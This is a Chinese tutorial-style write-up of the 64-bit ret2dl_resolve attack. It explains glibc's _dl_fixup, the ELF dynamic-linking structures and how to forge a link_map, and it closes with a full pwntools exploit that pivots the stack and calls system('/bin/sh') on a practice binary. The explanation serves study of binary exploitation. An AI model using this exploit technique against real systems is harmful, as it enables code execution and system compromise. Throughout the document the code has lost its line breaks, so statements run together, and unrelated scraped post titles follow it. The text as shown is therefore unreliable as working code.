什么是ret2dl攻击

  • 当程序在第一次加载某个函数的时候,got表中对应的表项还没有写入真实的地址(因为是第一次调用),所以这个时候就需要调用_dl_runtime_resolve函数将真实的地址写入got表对应的表项中,然后将控制权交还这个函数,此时就完成了第一次的调用,got表中也有了对应的真实地址。

整个调用过程梳理

_dl_fixup之前

  • 当我们第一调用read时,他的跳转过程是read@plt -> read@got -> read@plt -> plt[0] -> _dl_runtime_resolve_xsave -> _dl_fixup

我们可以再看一下0x4004e0到底是什么。

已知 <read@plt> 是plt中的第一个函数,那么0x4004e0就是plt[0]即plt的首项。这里对应两条汇编,第一条实际上做了一个push操作,他负责将一个参数压栈。这里需要实际解释一下:在_dl_runtime_resolve_xsave中实际调用了_dl_fixup而忽略掉宏定义,这个函数是: ```c / This function is called through a special trampoline from the PLT the first time each PLT entry is called. We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address. Future calls will bounce directly from the PLT to the function. /DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
```

可以看到一共有两个参数:struct link_map *l, ElfW(Word) reloc_arg,然后我们再回过来看刚刚的代码,其实两个push就是做了参数压栈

_dl_fixup进入以后

  • 嗯这、这里是关键,我们一步步分析一下_dl_fixup源代码。在这之前,我们先要研究一下几个重要的section和段。

.dynamic

.dynamic是动态链接中非常重要和经典的一个段。首先看一下ELF64_Dyn的结构如下:

// 该结构都有 64 位程序和 32 位程序的区别,不过大致结构相似,此处只讨论 64 位程序中的
// /usr/include/elf.h
typedef struct
{Elf64_Sxword d_tag; /* Dynamic entry type */
// d_tag 识别该结构体表示的哪一个节,通过以此字段不同来寻找不同的节union{Elf64_Xword d_val; /* Integer value */// 对应节的地址,用于存储该结构体表示下的节所在的地址Elf64_Addr d_ptr; /* Address value */} d_un;} Elf64_Dyn;

而在.dynamic之中有几个重要的section如下: | d_tag类型 | d_un含义 | | ------ | ------ | | DT_SYMTAB | 动态链接符号表的地址,d_ptr指向".dynsym"的地址 | | DT_STRTAB | 动态链接字符串表的地址 ,d_ptr指向".dynstr"的地址 | | DT_JMPREL | 动态链接重定位表的信息,d_ptr指向".rel.plt"地址 | | DT_VERSYM | .gnu.version的节的位置 |

.dynsym

其中,ELF64_Sym结构体为:

typedef struct
{Elf64_Word st_name; /* Symbol name (string tbl index) */
// 保存着该函数函数名在 .dynstr 中的偏移,可以结合 .dynstr 找到准确函数名。
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
// 如果这个符号被导出,则存有这个导出函数的虚拟地址,否则为NULL.
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

.dynstr

.rel.plt

其中,ELF64_Rela结构体为:

typedef struct {Elf64_Addr r_offset; //保存的是应用重定位操作的偏移量。对于一个重定位文件,这个值是从节开始到受重定位影响的存储单元的偏移量。对于一个可执行或共享目标文件,这个值是受重定位影响的存储单元的虚拟地址。uint64_t   r_info;   //This member gives both the symbol table index with respect to which the relocation must be made and the type of relocation to apply. int64_t    r_addend; //指定了一个附加的常数用来去计算保存在重定位位置的值。} Elf64_Rela;

link_map结构

struct link_map{ElfW(Addr) l_addr;                /* Base address shared object is loaded at.  */char *l_name;                     /* Absolute file name object was found in.  */ElfW(Dyn) *l_ld;                  /* Dynamic section of the shared object.  */struct link_map *l_next, *l_prev; /* Chain of loaded objects.  *///省略,后面还有很多};

D_PTR宏

#ifdef DL_RO_DYN_SECTION
# define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)
#else
# define D_PTR(map, i) (map)->i->d_un.d_ptr
#endif

ELFW宏

/* We use this macro to refer to ELF macros independent of the nativewordsize.  `ELFW(R_TYPE)' is used in place of `ELF32_R_TYPE' or`ELF64_R_TYPE'.  */
#define ELFW(type)  _ElfW (ELF, __ELF_NATIVE_CLASS, type)

DL_FIXUP_MAKE_VALUE宏

/* Construct a value of type DL_FIXUP_VALUE_TYPE from a code addressand a link map.  */
#define DL_FIXUP_MAKE_VALUE(map, addr) (addr)

SYMBOL_ADDRESS宏

/* Calculate the address of symbol REF using the base address from map MAP,if non-NULL.  Don't check for NULL map if MAP_SET is TRUE.  */
#define SYMBOL_ADDRESS(map, ref, map_set)               ((ref) == NULL ? 0                            : (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0         : LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value)

LOOKUP_VALUE_ADDRESS宏

#define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)

elf_machine_fixup_plt函数

static inline ElfW(Addr)
elf_machine_fixup_plt (struct link_map *map, lookup_t t,const ElfW(Sym) *refsym, const ElfW(Sym) *sym,const ElfW(Rela) *reloc,ElfW(Addr) *reloc_addr, ElfW(Addr) value)
{return *reloc_addr = value;
}

x86-64下对于reloc_arg的特殊define

/* The ABI calls for the PLT stubs to pass the index of the relocationand not its offset.  In _dl_profile_fixup and _dl_call_pltexit wealso use the index.  Therefore it is wasteful to compute the offsetin the trampoline just to reverse the operation immediatelyafterwards.  此时的reloc_arg类似于一个数组下标 */
#define reloc_offset reloc_arg * sizeof (PLTREL)
#define reloc_index  reloc_arg#include <elf/dl-runtime.c>

_dl_fixup源码阅读

#define ELF64_R_SYM(i)            ((i) >> 32)
#define ELF64_R_TYPE(i)            ((i) & 0xffffffff)/*这里由于我们是64位下的,请看:x86-64下对于reloc_arg的特殊define*/
#ifndef reloc_offset
# define reloc_offset reloc_arg
# define reloc_index  reloc_arg / sizeof (PLTREL)
#endifDL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGSELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endifstruct link_map *l, ElfW(Word) reloc_arg
){const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);  //通过指向linkmap找到DT_SYMTAB,进而得到.dynsym地址,存在symtab里。//查找过程:l -> linkmap -> DT_SYMTAB -> .dynsym//其中l指向linkmap,d_tag类型为DT_SYMTAB时,d_ptr指向.dynsymconst char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);//拿到.dynstr地址const PLTREL *const reloc= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);//reloc_offset就是reloc_arg//将.rel.plt地址与reloc_offset相加,得到函数所对应的Elf64_Rel指针,记作reloc const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];//将(reloc->r_info)>>32作为.dynsym下标,得到函数所对应的Elf64_Sym指针,记作symconst ElfW(Sym) *refsym = sym;void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);//l->l_addr 加载共享对象的基本地址//l->l_addr + reloc->r_offset即为需要修改的got表地址。lookup_t result;DL_FIXUP_VALUE_TYPE value;/* Sanity check that we're really looking at a PLT relocation.  *//* 检查r_info最低为是不是7 *//* ELFW(TYPE)是用来代替 Elf32_TYPE 或 Elf64_TYPE*//* ELF_MACHINE_JMP_SLOT=7 有兴趣可以自己看源码在:glibc/latest/source/elf/elf.h */assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);/* Look up the target symbol.  If the normal lookup rules are notused don't look in the global scope.  */if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)   //判断(sym->st_other)&0x03是否为0{const struct r_found_version *version = NULL;if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL){const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;    //64位下没法伪造reloc_arg的原因:(reloc->r_info)>>32作为vernum下标取值容易出现非法内存访问//大佬的解释:64位程序bss段被映射到0x600000,我们伪造的.dynsym也在0x600000+,而DT_SYM结构体中的d_ptr还是在0x400000,这就意味着我们的r_info必然很大,再加上数据类型大小的不同,导致(reloc->r_info)>>32作为vernum下标取值时十分容易访问到0x400000和0x600000之间的不可读区域/*#define ELF64_R_SYM(i)            ((i) >> 32)#define ELF64_R_TYPE(i)            ((i) & 0xffffffff)*/version = &l->l_versions[ndx];if (version->hash == 0)version = NULL;}/* We need to keep the scope around so do some locking.  This isnot necessary for objects which cannot be unloaded or whenwe are not using any threads (yet).  */int flags = DL_LOOKUP_ADD_DEPENDENCY;if (!RTLD_SINGLE_THREAD_P){THREAD_GSCOPE_SET_FLAG ();flags |= DL_LOOKUP_GSCOPE_LOCK;}#ifdef RTLD_ENABLE_FOREIGN_CALLRTLD_ENABLE_FOREIGN_CALL;
#endif/* 通过 strtab+sym->st_name 找到函数对应的字符串,result为libc_base */result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);/* We are done with the global scope.  */if (!RTLD_SINGLE_THREAD_P)THREAD_GSCOPE_RESET_FLAG ();#ifdef RTLD_FINALIZE_FOREIGN_CALLRTLD_FINALIZE_FOREIGN_CALL;
#endif/* Currently result contains the base load address (or link map)of the object that defines sym.  Now add in the symboloffset.  *//* 函数的真实地址 = libc_base(result) + 偏移地址*/value = DL_FIXUP_MAKE_VALUE (result,SYMBOL_ADDRESS (result, sym, false));}else{/* We already found the symbol.  The module (and therefore its loadaddress) is also known.  */value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));result = l;}/* And now perhaps the relocation addend.  */value = elf_machine_plt_value (l, reloc, value);if (sym != NULL&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));/* Finally, fix up the plt itself.  */if (__glibc_unlikely (GLRO(dl_bind_not)))return value;/* 将函数的真实地址写入got表对应的表项,value为真实地址、rel_addr为需要写入的got表地址 */return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

ret2dl_resolve_x86-64 重定向流程

  • 通过struct link_map *l获取 .dynsym .dynstr .rel.plt 地址
  • 将.rel.plt地址与reloc_offset相加,得到函数所对应的Elf64_Rel指针,记作reloc
  • 将(reloc->r_info)>>32作为.dynsym下标,得到函数所对应的Elf64_Sym指针,记作sym
  • 检查r_info最低位是否为7
  • 判断(sym->st_other)&0x03是否为0
  • 通过 strtab+sym->st_name 在字符串表中找到函数对应的字符串,然后把真实地址赋给rel_addr(rel_addr指向got表中的对应位置),最后控制权交给这个函数,执行。

跟踪调试

跟着之前的大师傅们调试一波

运行时查看.dynamic

vmmap

进入_dl_fixup

这里拿到函数对应的Elf64_Sym地址

看雪上有师傅计算过,当作为数组下标时(64位),很容易出现非法内存访问。这里我就不算了。 贴上大师傅的解释: const ElfW(Sym) const symtab = 0x400280 const ElfW(Half) vernum = 0x4003d8 (r_info>>32)作为symtab的下标时,其值大于0x600000小于0x601000,也就是说0x1553a<(r_info>>32)≤0x15fe5 (r_info>>32)作为vernum下标时,要使得不产生非法内存访问,需要0≤(r_info>>32)≤0x614或者0xffe14≤(r_info>>32)≤0x100614 无法找到同时满足二者的(r_info>>32)的值

伪造link_map攻击

绕过检查

64位和32位比,最容易出问题的就是这里

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL){const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;    //64位下没法伪造reloc_arg的原因:(reloc->r_info)>>32作为vernum下标取值容易出现非法内存访问/*#define ELF64_R_SYM(i)            ((i) >> 32)#define ELF64_R_TYPE(i)            ((i) & 0xffffffff)*/version = &l->l_versions[ndx];if (version->hash == 0)version = NULL;}

l->l_info[VERSYMIDX (DT_VERSYM)]对应的就是

mov rax, qword ptr [r10 + 0x1c8]

那么我们通过控制link_map + 0x1c8的值就可以绕过这个if,再来看一下这一段整个的情况:

/* Look up the target symbol.  If the normal lookup rules are notused don't look in the global scope.  */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)//判断(sym->st_other)&0x03是否为0{const struct r_found_version *version = NULL;if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //mov rax, qword ptr [r10 + 0x1c8]{/*省略*/}}else{/* We already found the symbol.  The module (and therefore its loadaddress) is also known.  */value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));result = l;}

当我们将(sym->st_other)&0x03设置为非0时,会进入else语句,此时else中通过DL_FIXUP_MAKE_VALUE来获取函数的真实地址,所以我们只需要将l->l_addr + sym->st_value指向system语句即可进入system函数(具体可以看我前面总结的那几个关键的宏,他们是一层一层调用的,最终简化出来就是这个式子)


PS: 可能到这里很多人都忘了l和sym到底是什么了。。来复习一下,l是指向link_map的指针,sym是

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];//将(reloc->r_info)>>32作为.dynsym下标,得到函数所对应的Elf64_Sym指针,记作sym

而link_map结构体大致如下:

struct link_map{ElfW(Addr) l_addr;                /* Base address shared object is loaded at.  */char *l_name;                     /* Absolute file name object was found in.  */ElfW(Dyn) *l_ld;                  /* Dynamic section of the shared object.  */struct link_map *l_next, *l_prev; /* Chain of loaded objects.  *///......省略一大堆};

其实link_map是个超级大的结构体


但是当我们不知道system函数的地址时,可以采用以下方法:让sym->st_value等于某个got上已经解析了的函数的那一表项,然后l->l_addr设置为system与这个函数的偏移值,此外,伪造link_map我们还需要伪造:位于link_map+0x70的DT_SYMTAB指针、link_map+0xf8的DT_JMPREL指针,另外strtab必须是个可读的地址,因此我们还需要伪造位于link_map+0x68的DT_STRTAB指针。之后就是伪造.dynamic中的DT_SYMTAB结构体和DT_JMPREL结构体以及函数所对应的Elf64_Rela结构体。为了方便,在构造的过程中一般将reloc_arg作为0来进行构造。 - 已知link_map地址0x7ffff7ffe168,我们看一下link_map+0x70

- 再对照一下 .dynamic段中的内容,没问题:

- 通过跟踪dl_fixup 函数发现,dl_fixup引用了link_map+0x68/0x70/0xf8处的3个值来寻找STRTAB/SYMTAB/JMPREL这3个表。

EXP编写

# encoding=utf-8
from pwn import *context.log_level='debug'
context.terminal='/bin/zsh'libc = ELF("./libc-2.23.so")
elf = ELF("./ret2-dl")bss = elf.bss()
log.info(".bss :0x%X"%bss)
write_addr = bss+0xac0    # 这里要调试一下,rsp有可能落在非bss上
rbp = write_addr-0x8
fake_link_map_addr = write_addr+0x18
vuln_addr = 0x0000000000400687
pop7ret = 0x000000000040073a
mov3call = 0x0000000000400720
plt_load = 0x4004e6 # jmp
read_got = elf.got['read']# ELF64_sym_size = 0x18
# ELF64_Rela_size = 0x18'''
typedef struct
{Elf64_Word    st_name;        /* Symbol name (string tbl index) */unsigned char    st_info;    /* Symbol type and binding */        unsigned char st_other;        /* Symbol visibility */              Elf64_Section    st_shndx;    /* Section index */                  Elf64_Addr    st_value;        /* Symbol value */                   Elf64_Xword    st_size;        /* Symbol size */
}Elf64_Sym;typedef struct
{Elf64_Addr    r_offset;        /* Address */                         Elf64_Xword    r_info;            /* Relocation type and symbol index */Elf64_Sxword    r_addend;        /* Addend */
}Elf64_Rela;typedef struct
{Elf64_Sxword    d_tag;            /* Dynamic entry type */union{Elf64_Xword d_val;        /* Integer value */Elf64_Addr d_ptr;            /* Address value */} d_un;
}Elf64_Dyn;
'''#fake_Elf64_Dyn_STR_addr = link_map +0x68
#fake_Elf64_Dyn_SYM_addr = link_map +0x70
#fake_Elf64_Dyn_JMPREL_addr = link_map +0xf8def get_fake_link_map(fake_link_map_addr,l_addr,st_value):# 给出各个指针的假地址fake_Elf64_Dyn_STR_addr = p64(fake_link_map_addr)fake_Elf64_Dyn_SYM_addr = p64(fake_link_map_addr + 0x8)fake_Elf64_Dyn_JMPREL_addr = p64(fake_link_map_addr + 0x18)# 伪造相关结构体fake_Elf64_Dyn_SYM = flat(p64(0),p64(st_value-8))fake_Elf64_Dyn_JMPREL = flat(p64(0),p64(fake_link_map_addr+0x28)  )# JMPREL指向.rel.plt地址,放在fake_link_map_addr+0x28r_offset = fake_link_map_addr - l_addrlog.info("r_offset :"+str(hex(r_offset)))fake_Elf64_rela = flat(p64(r_offset),p64(7),p64(0))# fake_link_map整体结构fake_link_map = flat(   # 0x0p64(l_addr),          # 0x8fake_Elf64_Dyn_SYM,   # 0x18fake_Elf64_Dyn_JMPREL,# 0x28fake_Elf64_rela,      # 0x40"x00"*0x28,         # 0x68,下面开始放指针fake_Elf64_Dyn_STR_addr,  # STRTAB指针,0x70fake_Elf64_Dyn_SYM_addr,  # SYMTAB指针,0x78"/bin/shx00".ljust(0x80,"x00"),fake_Elf64_Dyn_JMPREL_addr, # JMPREL指针)return fake_link_mapl_addr = libc.sym['system'] - libc.sym['__libc_start_main'] # l->l_addr设置为 system 与 __libc_start_main 的偏移值,此时__libc_start_main是一个已经解析过的函数
log.info("l_addr :"+str(hex(l_addr)))
log.info("elf.got['__libc_start_main'] :"+str(hex(elf.got['__libc_start_main'])))
log.info("plt_load :"+str(hex(0x4004e6)))
log.info("write_addr :"+str(hex(write_addr)))
#l->l_addr + sym->st_value
# value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
st_value = elf.got['__libc_start_main']
fake_link_map = get_fake_link_map(fake_link_map_addr,l_addr,st_value)io = process("./ret2-dl")# 1. 首先,利用栈迁移,把fake_link_map放在bss段上
rop = flat( 'a'*0x70,  # 此时到达老rbpp64(rbp),p64(pop7ret),p64(0),p64(1),p64(read_got),  # 重新调用read函数  r12p64(len(fake_link_map)+0x18+0x10),   # read读入长度 p64(write_addr),                  # read读入位置  p64(0),                               # p64(mov3call),p64(0)*7 ,                        # 补位p64(vuln_addr)                       # 再返回vuln函数
)
log.info(hex(len(fake_link_map)+0x18+0x10))
io.sendline(rop)        # 此rop中包含了ret2csu,利用其向bss上读数据sleep(1)# 2. 接下来,由于我们在rop中利用ret2csu调用了read函数,我们开始向bss上读数据,以下数据内容是由rop中ret2csu调用的read函数读取的。
fake = flat(p64(plt_load),p64(fake_link_map_addr),p64(0),fake_link_map      # fake_link_map本体
)
log.info(hex(len(fake)))
io.sendline(fake)
attach(io)
pause()
pop_rdi_ret = 0x0000000000400743
leave = 0x4006a6
stack_mig = flat('a'*0x70,p64(rbp),p64(pop_rdi_ret),p64(fake_link_map_addr+0x78), # /bin/shp64(leave)
)
sleep(1)
io.sendline(stack_mig)io.interactive()

后续奇怪的调试以及64位32位的一个差别

  • 在编写exp的时候,遇到了一些诡异的问题,比如一开始想把他放在bss+0x500,结果。。

出现了诡异的非法内存访问。。在64位下调用的是_dl_runtime_resolve_xsavec,这个函数起始是有写地址操作的。但是按理说我应该把他已经放上bss了而bss是可读可写的,看一下这个时候的rsp,确实落在一个不可写的区间,并且这个区间是相对bss有偏移的。

  • leave之后确实栈被拉到了bss+0x500
  • 一直到进入_dl_runtime_resolve_xsavec都是没问题的。看来问题就是出在下面那两条指令上了。
  • 找到罪魁祸首了,偏移就是这条sub指令造成的
  • 在32位下,ret2dl调用的是:_dl_runtime_resolve,如图
  • 而64位下,ret2dl调用_dl_runtime_resolve_xsavec,如图:

明显对rsp有一个sub操作,偏移就是他造成的。这次也算是踩坑了,以后也记住了要考虑一下这个玩意。。

主要参考文章:

https://forum.90sec.com/t/topic/260​forum.90sec.com[分享]dl_runtime_resolve结合源码分析及常见的几种攻击手法-『二进制漏洞』-看雪安全论坛​bbs.pediy.com

cannot resolve symbol r_64位ret2_dl_runtime_resolve模版题以及踩坑记录相关推荐

  1. PAT乙级题库踩坑实录

    PAT乙级题库踩坑实录 [截止2021.7.28乙级题库已经全部AC] 题目名称: 1030 完美数列 (25 分) 测试点3踩坑 每次取m后,不用从m后第一个元素开始判断是否大于mp,直接从m后第m ...

  2. hbase踩坑记录(二):Can not resolve promote.cache-dns.local, please check your network

    错误完整信息如下: org.apache.hadoop.hbase.client.ConnectionUtils - Can not resolve promote.cache-dns.local, ...

  3. 【Bug】一次Android系统应用32位升级到64位的踩坑记录

    项目场景: 二期会议室需要替换成OD20的会议平板,为了方便安装,给了framework的同事一个会议室版本的无线投屏APK,作为系统应用打包进去了. 将无线投屏升级到现在调试的版本,启动后,底部通知 ...

  4. 腾讯TBS初始化失败,加载失败问题(踩坑记录 64位手机无法加载x5)

    问题一:ndk配置的问题 //X5兼容64位手机 ndk {abiFilters "armeabi", "armeabi-v7a", "x86&quo ...

  5. android tbs 内核加载失败_腾讯TBS初始化失败,加载失败问题(踩坑记录 64位手机无法加载x5)...

    问题一:ndk配置的问题 //X5兼容64位手机 ndk { abiFilters "armeabi", "armeabi-v7a", "x86&qu ...

  6. Android Studio – Cannot resolve symbol ‘R’

    Android Studio – Cannot resolve symbol 'R' 解决方法: Build -> Clean Project Tools -> Android -> ...

  7. HDU2896(AC自动机模版题)

    AC自动机模版题: 方法一:超时 #include<iostream> #include<algorithm> #include<cstring> #include ...

  8. cannot resolve symbol

    Intellij IDEA  出现cannot resolve symbol 很多包没有引入import 下面红色框三项都有填写上 maven的路径 之前试了很多方法,一直都不行,直到这个就正常了 转 ...

  9. hdu 1286 找新朋友 欧拉函数模版题

    找新朋友 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others) Problem Des ...

最新文章

  1. QT安装由问题的,安装后发现有些控件标签名显示不了
  2. keepoutlayer设定_AD的keepout层是做什么用的,如何使用
  3. c语言vs开发小型数据库,用C语言开发小型数据库管理系统代码
  4. 【论文解读】KDD20 | 图神经网络在生物医药领域的应用
  5. php提交raw_PHP中如何POST提交raw数据?
  6. matlab组织的培训讲义,matlab培训讲义.doc
  7. lua 字符串分割_Lua函数式编程(中)
  8. 花了一个深夜,才用C语言写了一个2048游戏雏形
  9. wpf xaml突然不能自动补齐代码_Xaml+C#桌面客户端跨平台初体验
  10. Google AI 骗过了 Google,工程师竟无计可施?
  11. 学python可以从事什么工作-学Python可以找什么工作或者做什么兼职?
  12. 项目进度计划的基本方法
  13. 员工培训管理系统设计与实现
  14. 登录服务器的详细步骤
  15. 全球20大半导体企业无1家入围,中国半导体任重道远
  16. ttk.Treeview字体
  17. python编写一个汽车类_编写类-汽车类
  18. MySQL 数据库的基本操作
  19. mac 关于 /bin/sh: ifconfig: command not found
  20. 营销费用的预算管理原则和模式

热门文章

  1. 小调查:足足两周了,下周你上班否?
  2. 重磅:Elasticsearch上市!市值近50亿美元
  3. 你真的了解lambda吗?一文让你明白lambda用法与源码分析
  4. 生成四位验证码php,PHP生成四位整数验证码图片及使用例子
  5. preg_relace_callback不起作用匿名函数不启作用替换字符串中的所有图片
  6. c语言发送结构体 文件
  7. Open3D:Win10 + VS2017配置Open3D(C++、python)
  8. Thundernet
  9. Opencv 去高光或镜面反射(illuminationChange)
  10. cnn中关于平均池化和最大池化的理解